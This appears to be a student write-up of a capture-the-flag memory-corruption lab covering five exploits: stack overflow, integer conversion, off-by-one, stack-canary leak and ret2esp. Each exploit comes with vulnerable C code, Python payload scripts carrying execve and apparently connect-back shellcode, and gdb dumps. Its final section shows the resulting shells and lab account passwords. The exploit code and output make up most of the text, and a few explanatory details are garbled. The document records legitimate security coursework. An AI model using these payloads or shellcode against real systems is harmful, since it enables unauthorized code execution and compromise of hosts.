1. Security Vulnerability: Stack overflow

```c
#include <stdio.h>

void deja_vu()
{
  /* Hopefully we won't see two black cats running through... */
  char door[8];
  gets(door);
}

int main()
{
  deja_vu();
  return 0;
}
```

The door array has only 8 bytes of allocated space, and there are no bound-checking measures so an adversary can stack smash to overwrite the return address. The $ebp is at 0xbffffae8 and so the return address is 4 bytes after: 0xbffffaec. If we overwrite the value at address 0xbffffae with 0xffffaf0 and place the shell code at address 0xffffaf0 onward, we can force the control of deja_vu() afterwards to switch to the shellcode at 0xffffaf0. Thus, we first fill the buffer with 20 bytes of filler content -- I used the null pointer equivalent “\x90” -- and then 0xffffaf0, and then the shell code.

(door[8])	(ebp)	(return address = 0xbffffaf0)	(shell code)
0xbffffad8	0xbfffae8	0xbffffaec	0xbffffaf0

```python
#!/usr/bin/env python
print("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\xf0\xfa\xff\xbf" + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" +
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
```

Before

```
(gdb) x/40xw door
0xbffffad8:     0xbffffb9c      0xb7e5f225      0xb7fed270      0x00000000
0xbffffae8:     0xbffffaf8      0x0804842a      0x08048440      0x00000000
0xbffffaf8:     0x00000000      0xb7e454d3      0x00000001      0xbffffb94
0xbffffb08:     0xbffffb9c      0xb7fdc858      0x00000000      0xbffffb1c
0xbffffb18:     0xbffffb9c      0x00000000      0x0804821c      0xb7fd2000
0xbffffb28:     0x00000000      0x00000000      0x00000000      0xaeb87586
0xbffffb38:     0x99e75196      0x00000000      0x00000000      0x00000000
0xbffffb48:     0x00000001      0x08048320      0x00000000      0xb7ff26a0
0xbffffb58:     0xb7e453e9      0xb7fff000      0x00000001      0x08048320
0xbffffb68:     0x00000000      0x08048341      0x0804841f      0x00000001
(gdb) print $ebp
$2 = (void *) 0xbffffae8
(gdb)
```

After

```
(gdb) x/40xw door
0xbffffad8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae8:     0x90909090      0xbffffaf0      0x895e1feb      0xc0310876
0xbffffaf8:     0x89074688      0x0bb00c46      0x4e8df389      0x0c568d08
0xbffffb08:     0xdb3180cd      0xcd40d889      0xffdce880      0x622fffff
0xbffffb18:     0x732f6e69      0x00000068      0x0804821c      0xb7fd2000
0xbffffb28:     0x00000000      0x00000000      0x00000000      0x87d945ad
0xbffffb38:     0xb08661bd      0x00000000      0x00000000      0x00000000
0xbffffb48:     0x00000001      0x08048320      0x00000000      0xb7ff26a0
0xbffffb58:     0xb7e453e9      0xb7fff000      0x00000001      0x08048320
0xbffffb68:     0x00000000      0x08048341      0x0804841f      0x00000001
```

2. Security vulnerability: Integer conversion

```c
void display(const char *path)
{
  char msg[128];
  int8_t size;
  memset(msg, 0, 128);

  FILE *file = fopen(path, "r");
  size_t n = fread(&size, 1, 1, file);
  if (n == 0 || size > 128)
    return;
  n = fread(msg, 1, size, file);

  puts(msg);
}
```

The program first takes in a size before the payload, but size_t is an unsigned int, so if we send an overflowed two-byte sequence -- “\xff” -- the negative value will pass the if condition, but it will be casted as a large integer because of the unsigned-signed conversion and allow for buffer overflow. Thus we first send a negative n -- “\xff\x00\x00\x00” -- followed by 36 words of filler content, then we override the return address which is at address 0xbffffabc with the value 0xbffffac0, then followed by the shell code. After display() finishes its frame, control goes toward the shell code which executes.

(msg)	(ebp)	(return address = 0xbffffac0)	(shell code)
0xbffffa28	(0xbffffab8)	0xbffffabc	0xbffffac0

```python
#!/usr/bin/env python
print("\xff\x00\x00\x00" + "\x90\x90\x90\x90" * (36) + "\x90" + "\xc0\xfa\xff\xbf" +
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" +
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
```

Before

```
(gdb) x/40xw &msg
0xbffffa28:     0x90000000      0x90909090      0x90909090      0x90909090
0xbffffa38:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa68:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa78:     0x0a909090      0x00000000      0x00000000      0x00000000
0xbffffa88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa98:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffaa8:     0x00000054      0x0804b008      0x00000002      0xbffffb74
0xbffffab8:     0xbffffad8      0x0804857b      0xbffffc77      0x00000000
(gdb) print &size
$8 = (int8_t *) 0xbffffa27 "\377"
(gdb) print size
$9 = -1 '\377'
```

After

```
(gdb) x/40xw &msg
0xbffffa28:     0x90000000      0x90909090      0x90909090      0x90909090
0xbffffa38:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa68:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa78:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa88:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffa98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaa8:     0x000000c6      0x90909090      0x90909090      0x90909090
0xbffffab8:     0x90909090      0xbffffac0      0x895e1feb      0xc0310876
(gdb) print &size
$4 = (int8_t *) 0xbffffa27 "\377"
(gdb) print size
$5 = -1 '\377'
(gdb) print $ebp
$6 = (void *) 0xbffffab8
```

3. Security vulnerability: off-by-one

```c
void flip(char *buf, const char *input)
{
  size_t n = strlen(input);
  int i;
  for (i = 0; i < n && i <= 64; ++i)
    buf[i] = input[i] ^ (1u << 5);

  while (i < 64)
    buf[i++] = '\0';
}

void invoke(const char *in)
{
  char buf[64];
  flip(buf, in);
  puts(buf);
}

void dispatch(const char *in)
{
  invoke(in);
```

The first for loop of flip has an off-by-one inequality (i.e i <= 64 should be i < 64) which we can use to manipulate flow of the program to create a pseudo-frame in which we can inject malicious shellcode into. Because of the off-by-one vulnerability, we can override the last two bits of the saved ebp, which should point to the frame which called the current frame and in this case invoke -> flip. The overwritten ebp for our attack will be the same address as our buffer (i.e 0xbffffa28). By overwriting the saved ebp to the lower address which is at the buffer, the pseudo frame from the control switch treats 0xbffffa28 and 0xbffffa2c as the saved ebp and return address for this frame respectively. Thus, by filling the first 2 words of the buffer with filler and then the return address with the value of the following word (i.e 0xbffffa30), then filling the rest of the buffer with the shellcode. However, this concatenation does not overflow the buffer so we pad it with 11 chars followed by “\x28” which is the last two bits of the buffer address. This switches control of the pseudo-frame to the shell code which executes thinking it is a non-malicious frame.

```python
#!/usr/bin/env python
inject = "\x90\x90\x90\x90"+"\x30\xfa\xff\xbf"+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x
…46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff
…\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"aaaaaaaaaaa"  + "\x28"
xorinject = ""
for char in inject:
  xorinject += chr(ord(char)^(1 << 5))
#print(len(xorinject))
print(xorinject)
```

Before

```
(gdb) info frame
Stack level 0, frame at 0xbffffa30:
 eip = 0x804841d in dispatch (agent-brown.c:26); saved eip 0x41414141
 called by frame at 0xbffffa34
 source language c.
 Arglist at 0xbffffa28, args: in=0x41414141 <Address 0x41414141 out of bounds>
 Locals at 0xbffffa28, Previous frame's sp is 0xbffffa30
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) x/40x buf
No symbol "buf" in current context.
(gdb) x/40x $ebp
0xbffffa28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa38:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa48:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa68:     0xbffffa28      0x0804841d      0xbffffc3c      0xbffffa78
0xbffffa78:     0xbffffa98      0x0804845c      0xbffffc3c      0x0804965c
0xbffffa88:     0xbffffaa8      0xbffffab0      0xb7fed270      0xbffffab0
0xbffffa98:     0x00000000      0xb7e454d3      0x080484b0      0x00000000
0xbffffaa8:     0x00000000      0xb7e454d3      0x00000002      0xbffffb44
0xbffffab8:     0xbffffb50      0xb7fdc858      0x00000000      0xbffffb1c
```

After

```
(gdb) info frame
Stack level 0, frame at 0xbffffa30:
 eip = 0x804841d in dispatch (agent-brown.c:26); saved eip 0xbffffa30
 called by frame at 0x90909098
 source language c.
 Arglist at 0xbffffa28, args: in=0x895e1feb <Address 0x895e1feb out of bounds>
 Locals at 0xbffffa28, Previous frame's sp is 0xbffffa30
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) x/40x $ebp
0xbffffa28:     0x90909090      0xbffffa30      0x895e1feb      0xc0310876
0xbffffa38:     0x89074688      0x0bb00c46      0x4e8df389      0x0c568d08
0xbffffa48:     0xdb3180cd      0xcd40d889      0xffdce880      0x622fffff
0xbffffa58:     0x732f6e69      0x61616168      0x61616161      0x61616161
0xbffffa68:     0xbffffa28      0x0804841d      0xbffffc3c      0xbffffa78
0xbffffa78:     0xbffffa98      0x0804845c      0xbffffc3c      0x0804965c
0xbffffa88:     0xbffffaa8      0xbffffab0      0xb7fed270      0xbffffab0
0xbffffa98:     0x00000000      0xb7e454d3      0x080484b0      0x00000000
0xbffffaa8:     0x00000000      0xb7e454d3      0x00000002      0xbffffb44
0xbffffab8:     0xbffffb50      0xb7fdc858      0x00000000      0xbffffb1c
```

4. Security vulnerability: format string conversion

```
void dehexify() {
    char buffer[BUFLEN];
    char answer[BUFLEN];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }
```

Due to the format string conversion from HEX to ASCII, the sequence “\x” -- we use “\\x” in the Python script to denote “\x” when printing -- allows the user to read sequences in memory that they are not normally supposed to read. The general technique is to find the canary values through the “\x” exploit, which allows the attacker to buffer overflow without canary detection. Thus, we first fill our buffer of a 16 bye size with “haha” * 3 + “h”, then “\\xd” to skip the “\x00” of the canary to find the rest of the values since we know the lowest digits will always lead with “\x00”. Sending this sequence will reveal the canary, which allows us to do buffer overflow, filling in the canary value in between to prevent the program from detecting malicious code injection. Thus, we send filler (of 16 bytes) + canary (revealed through our first p.send) + filler (there is more filler content after the canary before the return address) + newReturnAddress (which is 0xbffffaf4) + SHELLCODE + “\n” -- showing that this is the end of our sending sequence).

```
hack  = "haha" * 3 + "h\\xd" + "\n"
p.send(hack)
canary = "\x00" + p.recvline()[14:17]

filler = "\x90"*4 #"hehe"
morefiller = "x" * 16
newReturnAddress = "\xf4\xfa\xff\xbf"
final = morefiller + canary + filler + newReturnAddress + SHELLCODE  + "\n"
p.send(final)
```

The highlighted text below is the canary, the word followed after is filler content, and after is the return address.

```
(gdb) x/40x answer
0xbffffac8:     0x64636261      0x64636261      0x00000000      0xbffffaf8
0xbffffad8:     0x64636261      0x64636261      0xb7e94f00      0x00000000
0xbffffae8:     0x4d854e00      0xbffffaf8      0x08048637      0xb7fd2ac0
0xbffffaf8:     0x00000000      0xb7e454d3      0x00000001      0xbffffb94
0xbffffb08:     0xbffffb9c      0xb7fdc858      0x00000000      0xbffffb1c
0xbffffb18:     0xbffffb9c      0x00000000      0x08048288      0xb7fd2000
0xbffffb28:     0x00000000      0x00000000      0x00000000      0xacff40e6
0xbffffb38:     0x9ba064f6      0x00000000      0x00000000      0x00000000
0xbffffb48:     0x00000001      0x08048450      0x00000000      0xb7ff26a0
0xbffffb58:     0xb7e453e9      0xb7fff000      0x00000001      0x08048450
```

5. Security vulnerability: ret2esp attack

```c
unsigned int magic(unsigned int i, unsigned int j)
{
  i ^= j << 3;
  j ^= i << 3;
  i |= 58623;
  j %= 0x42;
  return i & j;
}
```

```
(gdb) x/i 0x08048619
   0x8048619 <magic+21>:        orl    $0xe4ff,0x8(%ebp)
(gdb) x/i 0x0804861c
   0x804861c <magic+24>:        jmp    *%esp
(gdb) disassem magic
Dump of assembler code for function magic:
   0x08048604 <+0>:     push   %ebp
   0x08048605 <+1>:     mov    %esp,%ebp
   0x08048607 <+3>:     mov    0xc(%ebp),%eax
   0x0804860a <+6>:     shl    $0x3,%eax
   0x0804860d <+9>:     xor    %eax,0x8(%ebp)
   0x08048610 <+12>:    mov    0x8(%ebp),%eax
   0x08048613 <+15>:    shl    $0x3,%eax
   0x08048616 <+18>:    xor    %eax,0xc(%ebp)
   0x08048619 <+21>:    orl    $0xe4ff,0x8(%ebp)
```

```c
ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}
```

```
(gdb) info frame
Stack level 0, frame at 0xbffffa90:
 eip = 0x8048714 in handle (agent-jones.c:40); saved eip 0x80488cc
 called by frame at 0xbffffaf0
 source language c.
 Arglist at 0xbffffa88, args: client=8
 Locals at 0xbffffa88, Previous frame's sp is 0xbffffa90
 Saved registers:
  ebx at 0xbffffa80, ebp at 0xbffffa88, edi at 0xbffffa84, eip at 0xbffffa8c
(gdb) print buffer
No symbol "buffer" in current context.
(gdb) print buf
$1 = '\000' <repeats 3359 times>
(gdb) print &buf
$2 = (char (*)[3360]) 0xbfffed60
(gdb) p 0xbffffa8c - 0xbfffed60
$3 = 3372
```

Since we have 58623, encoded in decimal, which corresponds to the jump *esp instruction, we can use the ret2esp attack. Also, due to the shifted size in the io() function, we are allowed to fill in the buffer 2^3 more than intended. Thus, the goal of this attack is to find the $eip which is at 0xbffffa8c and override the value with the address of the jump *esp instruction, which we find through disassemble magic, to be 0x8048961c. Since the relative addressing is not changed by ASLR, the jump *esp will always be in the same location in memory. Thus, we find that buf[BUFSIZE] in handle() within the stack starts at address 0xbfffed60. The difference between the $eip (i.e 0xbffffa8c) and buf is 3372 bytes. Thus, since we can fill more than intended in the buf because of the left shift by three, and we know the relative distance between the $eip and buf, and we also know the instruction address of jump *esp, we can build an input with 3372 bytes of filler followed by the return address of the jump *esp instruction followed by the shellcode. The jump instruction fools the program to jump exactly a word above (address-wise) because its saved esp within that frame is that address, and then this jump treats the shellcode as instructions to follow which maliciously executes.

```python
#!/usr/bin/env python
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" + "\x80\x5b\x5e\x52\x68\x02\x0
…0\x1a\x0a\x6a\x10\x51\x50\x89" +  "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" + "\x80
…\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +  "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x
…69\x6e\x89\xe3" +  "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print("a" * 3372  + "\x1c\x86\x04\x08" +  shellcode)
```

Successful Hack Screenshots

```
[whoami
 smith
[cat README
 Welcome to the real world.

 user: smith
 pass: 37ZFBrAPm8
```

```
jz@pwnable:/home/smith$ invoke exploit
/home/smith/exploit: 2: /home/smith/exploit: cannot create pwnzerized: Permission denied

[$ whoami
brown
```

```
[$ whoami
jz
[$ cat README
Perhaps we are asking the wrong questions.

user: jz
pass: cqkeuevfIO
```

```
[jz@pwnable:~$ ./exploit
 Welcome to the desert of the real.

 user: jones
 pass: Bw6eAWWXM8
 Welcome to the desert of the real.
```

```
 agent-jones  agent-jones.c  debug-exploit  egg  exploit  PWNED
[jones@pwnable:~$ ./exploit
 sending exploit...
 connecting to 0wned machine...
[whomai
 /bin//sh: 1: whomai: not found
[whoami
 root
```